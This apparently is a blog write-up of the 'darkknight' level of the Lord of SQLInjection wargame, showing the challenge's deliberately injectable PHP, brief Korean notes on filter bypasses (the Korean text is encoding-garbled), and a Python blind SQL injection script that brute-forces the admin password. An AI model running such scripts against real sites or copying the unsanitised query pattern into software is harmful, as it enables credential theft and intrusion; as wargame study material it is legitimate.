<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
์์ ๋ฐ์ดํ, substr, asciiํจ์์ =์ ๋ชป์ฐ๊ฒ ํํฐ๋งํ๊ณ ์๋ค.
๊ฐ๊ฐ ", mid, ordํจ์, like๋ก ์ฐํํด ์ค ์ ์๋ค
์์ ๋ฐ์ดํ๊ฐ ํํฐ๋ง๋์ด pw๋ ๋ซ์ ์ ์์ผ๋ฏ๋ก no๋ฅผ ์ด์ฉํ์ฌ ๋ค๋ฅผ ๋ถ์ฌ์ฃผ๊ฒ ๋ค.
2022.04.02 - [wargame write-up/Lord of SQLInjection] - orc
orc์์ ๋ง๋ ํ๋ก๊ทธ๋จ์์ substr asciiํจ์๋ฅผ ์ ์ ํ ๋ฐ๊ฟ์ฃผ๋ฉด ํ๋ฆด๋ฏ ์ถ๋ค.
import requests
cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}
print("finding length of pw...")
for i in range(1,100):
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1 or id like \"admin\" and length(pw) like ' + str(i) + '%23'
res = requests.get(url, cookies=cookies)
print(str(i) + " ... ", end="")
if "Hello admin" in res.text:
len_pw = i
print("0")
print("================================")
print("len : " + str(i))
print("================================")
print("\n")
break
else:
print("X")
full_pw = ""
print("finding full pw...")
for i in range(len_pw):
for j in range(32, 127):
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1 or id like \"admin\" and ord(mid(pw,' + str(i+1) + ', 1)) like ' + str(j) + '%23'
res = requests.get(url, cookies=cookies)
if "Hello admin" in res.text:
full_pw += chr(j)
break;
print("pw : " + full_pw)
print("================================")
print("pw : " + full_pw)
print("================================")
์ฅ์ฅํ์ฌ ๋์จ ๊ฐ์ pw๋ก ์ ํด์ฃผ๋ฉด ํ๋ฆฐ๋ค.
๊ณ ์ฐ
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
giant (0) | 2023.08.01 |
---|---|
bugbear (0) | 2023.07.30 |
golem (0) | 2022.04.02 |
skeleton (0) | 2022.04.02 |